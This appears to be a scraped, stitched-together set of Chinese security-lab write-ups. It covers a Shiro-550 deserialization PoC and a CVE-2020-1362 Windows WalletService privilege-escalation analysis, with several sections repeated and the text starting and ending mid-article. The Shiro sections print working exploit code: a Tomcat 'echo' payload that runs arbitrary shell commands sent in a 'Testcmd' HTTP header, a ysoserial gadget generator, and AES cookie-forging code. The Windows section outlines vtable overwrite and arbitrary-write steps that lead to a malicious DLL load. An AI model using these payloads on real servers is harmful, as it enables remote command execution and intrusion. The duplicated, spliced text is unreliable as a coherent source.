        Class var3 = var0.getClass();

        while(var3 != Object.class) {
            try {
                var2 = var3.getDeclaredField(var1);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchFieldException(var1);
        } else {
            var2.setAccessible(true);
            return var2.get(var0);
        }
    }

    public FooDDl2ZFf8Y() throws Exception {
        boolean var4 = false;
        Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");

        for(int var6 = 0; var6 < var5.length; ++var6) {
            Thread var7 = var5[var6];
            if (var7 != null) {
                String var3 = var7.getName();
                if (!var3.contains("exec") && var3.contains("http")) {
                    Object var1 = getFV(var7, "target");
                    if (var1 instanceof Runnable) {
                        try {
                            var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
                        } catch (Exception var13) {
                            continue;
                        }

                        List var9 = (List)getFV(var1, "processors");

                        for(int var10 = 0; var10 < var9.size(); ++var10) {
                            Object var11 = var9.get(var10);
                            var1 = getFV(var11, "req");
                            Object var2 = var1.getClass().getMethod("getResponse").invoke(var1);
                            var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho");
                            if (var3 != null && !var3.isEmpty()) {
                                var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
                                var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3);
                                var4 = true;
                            }

                            var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testcmd");
                            if (var3 != null && !var3.isEmpty()) {
                                var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
                                String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};
                                writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
                                var4 = true;
                            }

                            if ((var3 == null || var3.isEmpty()) && var4) {
                                writeBody(var2, System.getProperties().toString().getBytes());
                            }

                            if (var4) {
                                break;
                            }
                        }

                        if (var4) {
                            break;
                        }
                    }
                }
            }
        }

    }}

就算解出了源码,看的也不是太懂,可能是根据java的各种魔法来实现的吧 - = 于是就转而开始写poc了。

没想到写完poc的第二天,xray的作者就给出检测细节和源码。

· https://koalr.me/post/shiro-lou-dong-jian-ce/

· https://github.com/frohoff/ysoserial

通过比对源码:https://github.com/frohoff/ysoserial/compare/master...zema1:master

可以找到tomcat的全版本回显的payload。

public static Object createTemplatesTomcatEcho() throws Exception {
        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            return createTemplatesImplEcho(
                Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }

        return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    // Tomcat 全版本 payload,测试通过 tomcat6,7,8,9
    // 给请求添加 Testecho: 123,将在响应 header 看到 Testecho: 123,可以用与可靠漏洞的漏洞检测
    // 给请求添加 Testcmd: id 会执行 id 命令并将回显写在响应 body 中
    public static  T createTemplatesImplEcho(Class tplClass, Class abstTranslet, Class transFactory)
        throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz;
        clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
        if (clazz.getDeclaredConstructors().length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        clazz.addMethod(CtMethod.make("private static void writeBody(Object resp, byte[] bs) throws Exception {\n" +
            "    Object o;\n" +
            "    Class clazz;\n" +
            "    try {\n" +
            "        clazz = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
            "        o = clazz.newInstance();\n" +
            "        clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    } catch (ClassNotFoundException e) {\n" +
            "        clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
            "        o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    } catch (NoSuchMethodException e) {\n" +
            "        clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
            "        o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    }\n" +
            "}", clazz));
        clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" +
            "    java.lang.reflect.Field f = null;\n" +
            "    Class clazz = o.getClass();\n" +
            "    while (clazz != Object.class) {\n" +
            "        try {\n" +
            "            f = clazz.getDeclaredField(s);\n" +
            "            break;\n" +
            "        } catch (NoSuchFieldException e) {\n" +
            "            clazz = clazz.getSuperclass();\n" +
            "        }\n" +
            "    }\n" +
            "    if (f == null) {\n" +
            "        throw new NoSuchFieldException(s);\n" +
            "    }\n" +
            "    f.setAccessible(true);\n" +
            "    return f.get(o);\n" +
            "}\n", clazz));
        clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" +
            "    Object o;\n" +
            "    Object resp;\n" +
            "    String s;\n" +
            "    boolean done = false;\n" +
            "    Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +
            "    for (int i = 0; i < ts.length; i++) {\n" +
            "        Thread t = ts[i];\n" +
            "        if (t == null) {\n" +
            "            continue;\n" +
            "        }\n" +
            "        s = t.getName();\n" +
            "        if (!s.contains(\"exec\") && s.contains(\"http\")) {\n" +
            "            o = getFV(t, \"target\");\n" +
            "            if (!(o instanceof Runnable)) {\n" +
            "                continue;\n" +
            "            }\n" +
            "\n" +
            "            try {\n" +
            "                o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" +
            "            } catch (Exception e) {\n" +
            "                continue;\n" +
            "            }\n" +
            "\n" +
            "            java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" +
            "            for (int j = 0; j < ps.size(); j++) {\n" +
            "                Object p = ps.get(j);\n" +
            "                o = getFV(p, \"req\");\n" +
            "                resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" +
            "                s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testecho\"});\n" +
            "                if (s != null && !s.isEmpty()) {\n" +
            "                    resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
            "                    resp.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(resp, new Object[]{\"Testecho\", s});\n" +
            "                    done = true;\n" +
            "                }\n" +
            "                s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testcmd\"});\n" +
            "                if (s != null && !s.isEmpty()) {\n" +
            "                    resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
            "                    String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", s} : new String[]{\"/bin/sh\", \"-c\", s};\n" +
            "                    writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes());\n" +
            "                    done = true;\n" +
            "                }\n" +
            "                if ((s == null || s.isEmpty()) && done) {\n" +
            "                    writeBody(resp, System.getProperties().toString().getBytes());\n" +
            "                }\n" +
            "\n" +
            "                if (done) {\n" +
            "                    break;\n" +
            "                }\n" +
            "            }\n" +
            "            if (done) {\n" +
            "                break;\n" +
            "            }\n" +
            "        }\n" +
            "    }\n" +
            "}", clazz));

        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
            classBytes,//            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

至于为什么要那么写,可能也是因为某种魔法,我暂时还不明白。

和一些特别的链

ysoserial 中的 CommonsCollections4 只能用于 CC4.0 版本,我把这个利用链进行了改进使其支持了 CC3 和 CC4 两个版本,形成了上面说的 K1/K2 两条链,这两条链就是我们处理 Shiro 这个环境的秘密武器。经过这些准备,我们已经从手无缚鸡之力的书生变为了身法矫健的少林武僧,可以直击敌方咽喉,一举拿下目标。万事具备,只欠东风。

PoC演示

一路下来迷迷糊糊啥也不明白真实太菜了,只能在一些大佬的肩膀上搬搬砖这样子了。

PoC集成了识别,检测key,命令执行回显以及shell反弹的操作。

检测识别key。

image-20200810153335261

攻击模式执行任意命令。

image-20200810153612164

shell反连

image-20200810153921731

最后也顺便给w13scan - 被动扫描器增加了一份Shiro插件。

image-20200810154343285

感谢看完全程,不说了,学习java去。

image-20200810154429552


作者:w7ay @ 知道创宇404实验室
时间:2020年8月11日

原文地址:https://paper.seebug.org/1290/

深刻认识到不会java搞这类poc的困难,只能做一个无情的搬砖机器。

目标是编写Pocsuite3 python版本的Shiro-550 PoC,最好不要依赖其他东西。

本文没有新奇的观点,只是记录日常 =_=

Shiro识别

看到@pmiaowu开源的burp shiro检测插件 https://github.com/pmiaowu/BurpShiroPassiveScan

image-20200803161651145

看了下源码,主要有三种判断方式。

1.原始cookie key带了rememberMe

2.原始请求返回cookie中value带有deleteMe

3.以上条件都不满足时,发送cookierememberMe=1

检测Shiro key

l1nk3r师傅 的 基于原生shiro框架 检测方法

· https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

简述下如何不依赖java环境来检测poc。

import org.apache.shiro.subject.SimplePrincipalCollection;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class ss1 {
    public static void main(String args[]) throws IOException {
        System.out.println("Hellow ");
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
        obj.writeObject(simplePrincipalCollection);
        obj.close();

    }}

可得到生成的反序列二进制payload(最好使用jdk6来编译,能够兼容之后的版本)

b'\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xppw\x01\x00x'

将这段payload内置到poc里即可。

通过python函数生成最终检测payload。

def generator2(key, bb: bytes):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(bb)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

其中key是shiro需要检测的key,bb是生成的payload,当key正确时,不会返回deleteMe。

image-20200803162703060

image-20200803162647250

回显payload

一开始看的是宽字节安全的burp插件:https://github.com/potats0/shiroPoc

但在本地环境下测试没有成功,之后猜测可能是gadgets或java版本的问题。

看他的exploitType代码。

image-20200810141000382

类似于java的汇编代码?确认过眼神是看不懂的。

然后在GitHub上找到一个开源的exp https://github.com/Ares-X/shiro-exploit/blob/master/shiro.py

它将gadget base64之后硬编码到了python中,正好符合我的需求。

image-20200810141813620

经过测试用CommonsCollections1就可以在我本地环境复现了。

到这里就可以写poc了,但我还想看看这些硬编码的payload是怎么来的。

更细节

那些硬编码的文件是反序列化的文件,我想找到Tomcat的通用回显的源码。@longofo告诉我可以通过CA FE BA BE(cafebaby)来确定class的特征,将它和后面的数据保存为class文件。

image-20200807175522519

然后拖到idea反编译后就能看到源码了

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner;public class FooDDl2ZFf8Y extends AbstractTranslet {
    private static void writeBody(Object var0, byte[] var1) throws Exception {
        Object var2;
        Class var3;
        try {
            var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
            var2 = var3.newInstance();
            var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length));
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        } catch (NoSuchMethodException var5) {
            var3 = Class.forName("java.nio.ByteBuffer");
            var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
            var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
        }

    }

    private static Object getFV(Object var0, String var1) throws Exception {
        Field var2 = null;
        Class var3 = var0.getClass();

        while(var3 != Object.class) {
            try {
                var2 = var3.getDeclaredField(var1);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchFieldException(var1);
        } else {
            var2.setAccessible(true);
            return var2.get(var0);
        }
    }

    public FooDDl2ZFf8Y() throws Exception {
        boolean var4 = false;
        Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");

        for(int var6 = 0; var6 < var5.length; ++var6) {
            Thread var7 = var5[var6];
            if (var7 != null) {
                String var3 = var7.getName();
                if (!var3.contains("exec") && var3.contains("http")) {
                    Object var1 = getFV(var7, "target");
                    if (var1 instanceof Runnable) {
                        try {
                            var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
                        } catch (Exception var13) {
                            continue;
                        }

                        List var9 = (List)getFV(var1, "processors");

                        for(int var10 = 0; var10 < var9.size(); ++var10) {
                            Object var11 = var9.get(var10);
                            var1 = getFV(var11, "req");
                            Object var2 = var1.getClass().getMethod("getResponse").invoke(var1);
                            var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho");
                            if (var3 != null && !var3.isEmpty()) {
                                var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
                                var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3);
                                var4 = true;
                            }

                            var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testcmd");
                            if (var3 != null && !var3.isEmpty()) {
                                var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
                                String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};
                                writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
                                var4 = true;
                            }

                            if ((var3 == null || var3.isEmpty()) && var4) {
                                writeBody(var2, System.getProperties().toString().getBytes());
                            }

                            if (var4) {
                                break;
                            }
                        }

                        if (var4) {
                            break;
                        }
                    }
                }
            }
        }

    }}

就算解出了源码,看的也不是太懂,可能是根据java的各种魔法来实现的吧 - = 于是就转而开始写poc了。

没想到写完poc的第二天,xray的作者就给出检测细节和源码。

· https://koalr.me/post/shiro-lou-dong-jian-ce/

· https://github.com/frohoff/ysoserial

通过比对源码:https://github.com/frohoff/ysoserial/compare/master...zema1:master

可以找到tomcat的全版本回显的payload。

public static Object createTemplatesTomcatEcho() throws Exception {
        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            return createTemplatesImplEcho(
                Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }

        return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    // Tomcat 全版本 payload,测试通过 tomcat6,7,8,9
    // 给请求添加 Testecho: 123,将在响应 header 看到 Testecho: 123,可以用与可靠漏洞的漏洞检测
    // 给请求添加 Testcmd: id 会执行 id 命令并将回显写在响应 body 中
    public static  T createTemplatesImplEcho(Class tplClass, Class abstTranslet, Class transFactory)
        throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz;
        clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
        if (clazz.getDeclaredConstructors().length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        clazz.addMethod(CtMethod.make("private static void writeBody(Object resp, byte[] bs) throws Exception {\n" +
            "    Object o;\n" +
            "    Class clazz;\n" +
            "    try {\n" +
            "        clazz = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
            "        o = clazz.newInstance();\n" +
            "        clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    } catch (ClassNotFoundException e) {\n" +
            "        clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
            "        o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    } catch (NoSuchMethodException e) {\n" +
            "        clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
            "        o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
            "        resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
            "    }\n" +
            "}", clazz));
        clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" +
            "    java.lang.reflect.Field f = null;\n" +
            "    Class clazz = o.getClass();\n" +
            "    while (clazz != Object.class) {\n" +
            "        try {\n" +
            "            f = clazz.getDeclaredField(s);\n" +
            "            break;\n" +
            "        } catch (NoSuchFieldException e) {\n" +
            "            clazz = clazz.getSuperclass();\n" +
            "        }\n" +
            "    }\n" +
            "    if (f == null) {\n" +
            "        throw new NoSuchFieldException(s);\n" +
            "    }\n" +
            "    f.setAccessible(true);\n" +
            "    return f.get(o);\n" +
            "}\n", clazz));
        clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" +
            "    Object o;\n" +
            "    Object resp;\n" +
            "    String s;\n" +
            "    boolean done = false;\n" +
            "    Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +
            "    for (int i = 0; i < ts.length; i++) {\n" +
            "        Thread t = ts[i];\n" +
            "        if (t == null) {\n" +
            "            continue;\n" +
            "        }\n" +
            "        s = t.getName();\n" +
            "        if (!s.contains(\"exec\") && s.contains(\"http\")) {\n" +
            "            o = getFV(t, \"target\");\n" +
            "            if (!(o instanceof Runnable)) {\n" +
            "                continue;\n" +
            "            }\n" +
            "\n" +
            "            try {\n" +
            "                o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" +
            "            } catch (Exception e) {\n" +
            "                continue;\n" +
            "            }\n" +
            "\n" +
            "            java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" +
            "            for (int j = 0; j < ps.size(); j++) {\n" +
            "                Object p = ps.get(j);\n" +
            "                o = getFV(p, \"req\");\n" +
            "                resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" +
            "                s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testecho\"});\n" +
            "                if (s != null && !s.isEmpty()) {\n" +
            "                    resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
            "                    resp.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(resp, new Object[]{\"Testecho\", s});\n" +
            "                    done = true;\n" +
            "                }\n" +
            "                s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testcmd\"});\n" +
            "                if (s != null && !s.isEmpty()) {\n" +
            "                    resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
            "                    String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", s} : new String[]{\"/bin/sh\", \"-c\", s};\n" +
            "                    writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes());\n" +
            "                    done = true;\n" +
            "                }\n" +
            "                if ((s == null || s.isEmpty()) && done) {\n" +
            "                    writeBody(resp, System.getProperties().toString().getBytes());\n" +
            "                }\n" +
            "\n" +
            "                if (done) {\n" +
            "                    break;\n" +
            "                }\n" +
            "            }\n" +
            "            if (done) {\n" +
            "                break;\n" +
            "            }\n" +
            "        }\n" +
            "    }\n" +
            "}", clazz));

        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
            classBytes,//            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

至于为什么要那么写,可能也是因为某种魔法,我暂时还不明白。

和一些特别的链

ysoserial 中的 CommonsCollections4 只能用于 CC4.0 版本,我把这个利用链进行了改进使其支持了 CC3 和 CC4 两个版本,形成了上面说的 K1/K2 两条链,这两条链就是我们处理 Shiro 这个环境的秘密武器。经过这些准备,我们已经从手无缚鸡之力的书生变为了身法矫健的少林武僧,可以直击敌方咽喉,一举拿下目标。万事具备,只欠东风。

PoC演示

一路下来迷迷糊糊啥也不明白真实太菜了,只能在一些大佬的肩膀上搬搬砖这样子了。

PoC集成了识别,检测key,命令执行回显以及shell反弹的操作。

检测识别key。

image-20200810153335261

攻击模式执行任意命令。

image-20200810153612164

shell反连

image-20200810153921731

最后也顺便给w13scan - 被动扫描器增加了一份Shiro插件。

image-20200810154343285

感谢看完全程,不说了,学习java去。

image-20200810154429552


作者:w7ay @ 知道创宇404实验室
时间:2020年8月11日

原文地址:https://paper.seebug.org/1290/

漏洞背景

WalletService 服务是 windows 上用来持有钱包客户端所使用的对象的一个服务,只存在 windows 10 中。

CVE-2020-1362 是 WalletService 在处理 CustomProperty 对象的过程中出现了越界读写,此漏洞可以导致攻击者获得管理员权限,漏洞评级为高危。

微软在 2020 年 7 月更新对漏洞发布补丁。

环境搭建

1.复现环境:windows 10 专业版 1909 (内部版本号 18363.815)

2.设置 WalletService 服务启动类型为自动


image-20200724115418829

3.调试环境:windbg -psn WalletService 即可。

漏洞原理与分析

漏洞点是设置 CustomProperty 对象的 Group 的 get 方法和 set 方法没有检查边界。

1.get 方法的 a2 参数没有检查边界导致可以泄露堆上的一些地址。

enter description here

2.set 方法的 a2 参数没有检查边界,可以覆盖到对象的虚表指针,从而控制程序流。

enter description here

漏洞利用过程

创建 CustomProperty 对象

WalletService 服务由 WalletService.dll 提供,WalletService.dll 实际上是一个动态链接库形式的 Com 组件,由 svchost.exe 加载。我们可以在自己写的程序(下面称为客户端)中使用 CoCreateInstance() 或者 CoGetClassObject() 等函数来创建对象,通过调用获得的对象的类方法来使用服务提供的功能。

如何创建出漏洞函数对应的对象呢?最简单的办法是下载 msdn 的符号表,然后看函数名。

我们想要创建出 CustomProperty 对象,ida 搜索一下,发现有两个创建该对象的函数:Wallet::WalletItem::CreateCustomProperty() 和 Wallet::WalletXItem::CreateCustomProperty()。

img

所以我们创建一个 CustomProperty 需要一个 WalletXItem 对象或者 WalletItem 对象,那么使用哪个呢?继续用 ida 搜索 CreateWalletItem 或者 CreateWalletXItem,会发现只有 CreateWalletItem。

img

那到这里我们需要一个 WalletX 对象,继续用 ida 搜索会发现找不到 CreateWalletX,但是如果搜索 WalletX,会发现有个 WalletXFactory::CreateInstance(),如果有过 Com 组件开发经验的同学就会知道,这个是个工厂类创建接口类的函数,上面提到的 CoCreateInstance() 函数会使 WalletService 调用这个函数来创建出接口类返回给客户端。

img

那么如何调用 WalletXFactory::CreateInstance() 并创建出 WalletX 对象呢?我们需要在客户端使用 CoCreateInstance() 。

HRESULT CoCreateInstance(
    REFCLSID rclsid, // CLSID,用于找到工厂类    LPUNKNOWN pUnkOuter, // 设置为 NULL 即可    DWORD dwClsContext, // 设置为 CLSCTX_LOCAL_SERVER,一个宏    REFIID riid, // IID, 提供给工程类,用于创建接口类实例    LPVOID *ppv // 接口类实例指针的地址);

1.首先,我们需要 WalletXFactory 的 CLSID,可以使用 OLEViewDotNet 这个工具查看。

img

2.其次,我们需要一个 WalletX 的 IID,这个可以用 ida 直接看 WalletXFactory::CreateInstance() 这个函数。

img

有了 WalletXFactory 的 CLSID 和 WalletX 的 IID,然后在客户端调用 CoCreateInstance(),WalletService 就会调用 CLSID 对应的工厂类 WalletXFactory 的 CreateInstance(), 创建出 IID 对应的 WalletX 对象,并返回对象给客户端。

然后按照上面的分析,使用 WalletX::CreateWalletItem() 创建出 WalletItem 对象,然后使用 WalletItem::CreateCustomProperty() 创建出 CustomProperty 对象。

对于上面的步骤有疑问的同学可以去学一学 Com 组件开发,尤其是进程外组件开发。

伪造虚表,覆盖附表指针

由于同一个动态库,在不同的进程,它的加载基址也是一样的,我们可以知道所有dll里面的函数的地址,所以可以获得伪造的虚表里面的函数地址。

那么把虚表放哪里呢?直接想到的是放堆上。

但如果我们继续分析,会发现,CustomProperty 类里面有一个 string 对象,并且可以使用 CustomProperty::SetLabel() 对 string 类进行修改,所以,我们可以通过修改 string 类里面的 beg 指针 和 end 指针,然后调用 CustomProperty::SetLabel() 做到任意地址写。

img

有了任意地址写,我们选择把虚表放在 WalletService.dll 的 .data 节区,以避免放在堆上可能破坏堆上的数据导致程序崩溃。

控制程序流到 LoadLibrary 函数

使用伪造 vtable 并覆盖虚表指针的办法,我们可以通过调用虚函数控制 WalletService 的程序流到任意地址了。

那么怎么提权呢?在 windows 服务提权中,通常的办法是把程序流控制到可以执行 LoadLibrary() 等函数来加载一个由我们自己编写的动态链接库,因为在加载 dll 的时候会执行 dll 里面的 DllMain(),这个方法是最强大的也是最实用的。

这里使用漏洞提交者的方法,把虚表的某个地址覆盖成 dxgi.dll 里面的 ATL::CComObject\::`vector deleting destructor(),因为这个函数调用的 LoadLibraryExW() 会使用一个全局变量作为想要加载的 dll 的路径。

img

我们可以通过上面的 SetLabel() 进行任意地址写,修改上图的全局变量 Src,使其指向我们自己实现的动态链接库的路径,然后调用对应的虚表函数,使程序流执行到 LoadLibrarExW() 即可。

实现一个动态链接库

在 DllMain() 里面写上我们希望以高权限执行代码,然后调用虚表里面对应的函数是 WalletService 的程序流运行到 LoadLibraryEx() 即可。

注意,因为 windows 服务运行在后台,所以需要在 DllMain() 里面使用命名管道或者 socket 等技术来进行回显或者交互,其次由于执行的是 LoadLibraryExW(),所以这里的 dll 路径要使用宽字符。

其它

在控制虚表函数程序流到 LoadLibraryExW() 时,需要绕过下面两个 check。

第一个是需要设置 this+0x80 这个地址的值,使得下面的 and 操作为 true。

image-20200724111317787

第二个是要调整 qword_C5E88 和 qword_C5E80 是下面的变量 v4 指向具有写权限的内存。

image-20200724111819875

漏洞利用结果

可以获得管理员权限

image-20200724121314068

补丁前后对比

可以看到,打了补丁之后,get 方法和 set 方法都对 a2 参数添加了边界检测。

img

img

参考链接

[1] PoC链接
[2] 微软更新公告
[3] nvd漏洞评级

作者:[email protected]知道创宇404实验室

时间:2020年7月24日

原文地址:https://paper.seebug.org/1276/

漏洞背景

WalletService 服务是 windows 上用来持有钱包客户端所使用的对象的一个服务,只存在 windows 10 中。

CVE-2020-1362 是 WalletService 在处理 CustomProperty 对象的过程中出现了越界读写,此漏洞可以导致攻击者获得管理员权限,漏洞评级为高危。

微软在 2020 年 7 月更新对漏洞发布补丁。

环境搭建

1.复现环境:windows 10 专业版 1909 (内部版本号 18363.815)

2.设置 WalletService 服务启动类型为自动


image-20200724115418829

3.调试环境:windbg -psn WalletService 即可。

漏洞原理与分析

漏洞点是设置 CustomProperty 对象的 Group 的 get 方法和 set 方法没有检查边界。

1.get 方法的 a2 参数没有检查边界导致可以泄露堆上的一些地址。

enter description here

2.set 方法的 a2 参数没有检查边界,可以覆盖到对象的虚表指针,从而控制程序流。

enter description here

漏洞利用过程

创建 CustomProperty 对象

WalletService 服务由 WalletService.dll 提供,WalletService.dll 实际上是一个动态链接库形式的 Com 组件,由 svchost.exe 加载。我们可以在自己写的程序(下面称为客户端)中使用 CoCreateInstance() 或者 CoGetClassObject() 等函数来创建对象,通过调用获得的对象的类方法来使用服务提供的功能。

如何创建出漏洞函数对应的对象呢?最简单的办法是下载 msdn 的符号表,然后看函数名。

